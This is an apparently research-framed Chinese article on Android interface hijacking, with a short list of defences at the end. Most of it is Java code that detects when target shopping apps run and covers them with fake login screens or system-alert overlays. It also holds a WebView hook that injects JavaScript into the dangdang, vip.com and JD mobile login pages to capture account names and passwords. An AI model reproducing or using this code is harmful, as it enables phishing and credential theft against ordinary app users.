Android APP客户端安全评估中,有一项叫做activity界面劫持。该bug的攻击场景是,当手机中的恶意APP检测到当前运行的为目标APP时,就启动自身的钓鱼界面覆盖到目标APP之上,以欺骗用户输入账号密码等。本文将要归纳Android各个版本可以使用的检测当前运行的APP的方法,及附带webview的劫持示例。
文章目录
- 1、getRunningTasks(android5.0之前)
- 2、Accessibility Service(辅助功能,一直可用)
- 3、通过/proc/目录也可以获取当前应用(Android7.0中限制了APP获取/proc/的内容,会失效)
- 4、UsageStatsManager(Android5.0引入)
- 5、webview
- 防护方法
1、getRunningTasks(android5.0之前)
1
2
3
4
5
6
7
8
9
10
11
12
|
ActivityManager
am
=
(
ActivityManager
)
getBaseContext
(
)
.
getSystemService
(
Context
.
ACTIVITY_SERVICE
)
;
ComponentName
cn
=
am
.
getRunningTasks
(
1
)
.
get
(
0
)
.
topActivity
;
String
packageName
=
cn
.
getPackageName
(
)
;
List
list
=
Arrays
.
asList
(
TARGET_APPS
)
;
if
(
packageName
!=
null
&
amp
;
&
amp
;
list
.
contains
(
packageName
)
)
{
Intent
i
=
new
Intent
(
)
;
i
.
setClassName
(
"com.haoren.hijack"
,
"com.haoren.hijack.Login"
)
;
i
.
setFlags
(
Intent
.
FLAG_ACTIVITY_NEW_TASK
)
;
getApplicationContext
(
)
.
startActivity
(
i
)
;
break
;
}
|
getRunningTasks需要使用权限android:name=”android.permission.GET_TASKS”
除了使用activity覆盖目标APP,还可以使用alertwindow(模态弹窗),如下demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
view
=
LayoutInflater
.
from
(
getApplicationContext
(
)
)
.
inflate
(
R
.
layout
.
login
,
null
)
;
wm
=
(
WindowManager
)
getSystemService
(
Context
.
WINDOW_SERVICE
)
;
final
WindowManager
.
LayoutParams
params
=
new
WindowManager
.
LayoutParams
(
)
;
params
.
type
=
WindowManager
.
LayoutParams
.
TYPE_SYSTEM_ALERT
;
int
flags1
=
WindowManager
.
LayoutParams
.
FLAG_ALT_FOCUSABLE_IM
;
params
.
flags
=
flags1
;
params
.
width
=
LayoutParams
.
MATCH_PARENT
;
params
.
height
=
LayoutParams
.
MATCH_PARENT
;
params
.
gravity
=
Gravity
.
CENTER
;
wm
.
addView
(
view
,
params
)
;
//设置不响应任何按键,可拒绝服务
view
.
setOnKeyListener
(
new
OnKeyListener
(
)
{
@
Override
public
boolean
onKey
(
View
v
,
int
keyCode
,
KeyEvent
event
)
{
switch
(
keyCode
)
{
case
KeyEvent
.
KEYCODE_BACK
:
if
(
wm
!=
null
)
wm
.
removeView
(
view
)
;
return
true
;
default
:
return
false
;
}
}
}
)
;
|
alertwindow需要使用权限android:name=”android.permission.SYSTEM_ALERT_WINDOW”
2、Accessibility Service(辅助功能,一直可用)
(Accessibility Service,需要引导用户在手机 “设置” 中激活才能有效,需要使用权限android:name=”android.permission.BIND_ACCESSIBILITY_SERVICE“)
在Accessibility Service的onAccessibilityEvent回调函数中,可以检测到当前执行的APP,如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
@
Override
public
void
onAccessibilityEvent
(
AccessibilityEvent
arg0
)
{
String
topActivity
=
null
;
String
s
=
""
;
if
(
arg0
!=
null
)
{
if
(
arg0
.
getPackageName
(
)
!=
null
)
{
topActivity
=
arg0
.
getPackageName
(
)
.
toString
(
)
;
}
if
(
arg0
.
getText
(
)
!=
null
)
{
s
=
arg0
.
getText
(
)
.
toString
(
)
.
split
(
","
)
[
0
]
.
replace
(
"["
,
""
)
.
replace
(
"]"
,
""
)
;
}
}
//if(topActivity.equals("com.achievo.vipshop") && s.equals("登 录")){
if
(
topActivity
.
equals
(
"com.achievo.vipshop"
)
)
{
Log
.
i
(
"accessibility"
,
"xxxx"
+
s
)
;
Intent
i
=
new
Intent
(
)
;
i
.
setClassName
(
"com.haoren.hijack"
,
"com.haoren.hijack.Login"
)
;
i
.
setFlags
(
Intent
.
FLAG_ACTIVITY_NEW_TASK
)
;
getApplicationContext
(
)
.
startActivity
(
i
)
;
}
}
|
3、通过/proc/目录也可以获取当前应用(Android7.0中限制了APP获取/proc/的内容,会失效)
使用github中的AndroidProcesses库,可以直接获取,如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
PackageManager
pm
=
getApplicationContext
(
)
.
getPackageManager
(
)
;
AndroidAppProcess
target
=
null
;
List
list
=
Arrays
.
asList
(
TARGET_APPS
)
;
String
pName
=
null
;
while
(
true
)
{
target
=
null
;
List
processes
=
AndroidProcesses
.
getRunningAppProcesses
(
)
;
for
(
AndroidAppProcess
a
:
processes
)
{
PackageInfo
packageInfo
;
try
{
Stat
stat
=
a
.
stat
(
)
;
int
pid
=
stat
.
getPid
(
)
;
packageInfo
=
a
.
getPackageInfo
(
getApplicationContext
(
)
,
0
)
;
String
appName
=
packageInfo
.
applicationInfo
.
loadLabel
(
pm
)
.
toString
(
)
;
pName
=
packageInfo
.
packageName
;
if
(
appName
!=
null
&
amp
;
&
amp
;
list
.
contains
(
pName
)
&
amp
;
&
amp
;
new
AndroidAppProcess
(
pid
)
.
foreground
)
{
target
=
a
;
Log
.
i
(
"xu"
,
"xuxu"
+
pid
)
;
break
;
}
}
catch
(
Exception
e
)
{
e
.
printStackTrace
(
)
;
}
}
if
(
target
!=
null
)
{
Log
.
i
(
"xu"
,
"xuxu"
+
pName
)
;
//do something here
break
;
}
}
|
4、UsageStatsManager(Android5.0引入)
需要系统级别权限android.permission.PACKAGE_USAGE_STATS(系统签名的APP能使用该权限),参见
github中的android-overlay-malware-example
5、webview
webview加载目标m站后,再加载恶意js,劫持用户输入,如下
webview添加java接口:
webView.addJavascriptInterface(new MyJavaScriptInterface(), “MYOBJECT”);
然后覆盖setWebViewClient的onPageFinished,插入js代码,劫持用户输入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
@
Override
public
void
onPageFinished
(
WebView
view
,
String
url
)
{
super
.
onPageFinished
(
view
,
url
)
;
StringBuilder
sb
=
new
StringBuilder
(
)
;
if
(
url
.
contains
(
"vip.com"
)
)
{
sb
.
append
(
"document.getElementByIdx_x_x_x_x('J_topDownloadBar').style.display='none';"
)
;
}
if
(
url
.
contains
(
"mpassport.dangdang.com"
)
)
{
sb
.
append
(
"document.getElementByIdx_x_x_x_x('password').οnblur=function(){"
)
;
sb
.
append
(
"var objPWD, objAccount;var str = 'dangdang';"
)
;
sb
.
append
(
"objAccount = document.getElementByIdx_x_x_x_x('username');"
)
;
sb
.
append
(
"objPWD = document.getElementByIdx_x_x_x_x('password');"
)
;
sb
.
append
(
"if (objAccount != null) {str += objAccount.value;}"
)
;
sb
.
append
(
"if (objPWD != null) { str += ' , ' + objPWD.value;}"
)
;
sb
.
append
(
"window.MYOBJECT.processHTML(str);"
)
;
sb
.
append
(
"return true;"
)
;
sb
.
append
(
"};"
)
;
}
else
if
(
url
.
contains
(
"mlogin.vip.com"
)
)
{
sb
.
append
(
"document.getElementByIdx_x_x_x_x('inputPsw').οnblur=function(){"
)
;
sb
.
append
(
"var objPWD, objAccount;var str = 'vip';"
)
;
sb
.
append
(
"objAccount = document.getElementByIdx_x_x_x_x('inputName');"
)
;
sb
.
append
(
"objPWD = document.getElementByIdx_x_x_x_x('inputPsw');"
)
;
sb
.
append
(
"if (objAccount != null) {str += objAccount.value;}"
)
;
sb
.
append
(
"if (objPWD != null) { str += ' , ' + objPWD.value;}"
)
;
sb
.
append
(
"window.MYOBJECT.processHTML(str);"
)
;
sb
.
append
(
"return true;"
)
;
sb
.
append
(
"};"
)
;
}
else
if
(
url
.
contains
(
"plogin.m.jd.com"
)
)
{
sb
.
append
(
"document.getElementsByClassName('txt-input txt-password')[0].οnblur=function(){"
)
;
sb
.
append
(
"var objPWD, objAccount;var str = 'jd';"
)
;
sb
.
append
(
"objAccount = document.getElementsByClassName('txt-input txt-username')[0];"
)
;
sb
.
append
(
"objPWD = document.getElementsByClassName('txt-input txt-password')[0];"
)
;
sb
.
append
(
"if (objAccount != null) {str += objAccount.value;}"
)
;
sb
.
append
(
"if (objPWD != null) { str += ' , ' + objPWD.value;}"
)
;
sb
.
append
(
"window.MYOBJECT.processHTML(str);"
)
;
sb
.
append
(
"return true;"
)
;
sb
.
append
(
"};"
)
;
}
else
{
sb
.
append
(
"document.getElementsByTagName_r('form')[0].onsubmit = function () {"
)
;
sb
.
append
(
"var objPWD, objAccount;var str = 'other';"
)
;
sb
.
append
(
"var inputs = document.getElementsByTagName_r('input');"
)
;
sb
.
append
(
"for (var i = 0; i < inputs.length; i++) {"
)
;
sb
.
append
(
"if (inputs[i].type.toLowerCase() === 'password') {objPWD = inputs[i];}"
)
;
sb
.
append
(
"else if (inputs[i].name.toLowerCase() === 'email') {objAccount = inputs[i];}"
)
;
sb
.
append
(
"}"
)
;
sb
.
append
(
"if (objAccount != null) {str += objAccount.value;}"
)
;
sb
.
append
(
"if (objPWD != null) { str += ' , ' + objPWD.value;}"
)
;
sb
.
append
(
"window.MYOBJECT.processHTML(str);"
)
;
sb
.
append
(
"return true;"
)
;
sb
.
append
(
"};"
)
;
}
view
.
loadUrl
(
"javascript:"
+
sb
.
toString
(
)
)
;
}
|
以上是个人归纳的客户端劫持可能的途径(此类攻击难度较大,分享出来作技术研究)
防护方法
最后,一个粗略的防护方案:
①、对于界面(activity)覆盖,可以利用同样的方法,判断是否为自身在activity栈顶。
②、alertwindow不是activity栈机制,依然无法检测。在android6.0之后,如果app是从Play Store安装的,则SYSTEM_ALERT_WINDOW自动允许,如果是其他途径安装的则需要用户手动在设置中开启 悬浮窗 权限。
另外重载onFilterTouchEventForSecurity函数可以进行安全检测(未测)
③、对Accessibility Service这类,只有提高用户的安全意识方面着手
④、对于webview类型的劫持,可以利用js计算当前页面是否被篡改过
⑤、对于/proc/目录和UsageStatsManager两个 Android系统方面也有相应的防护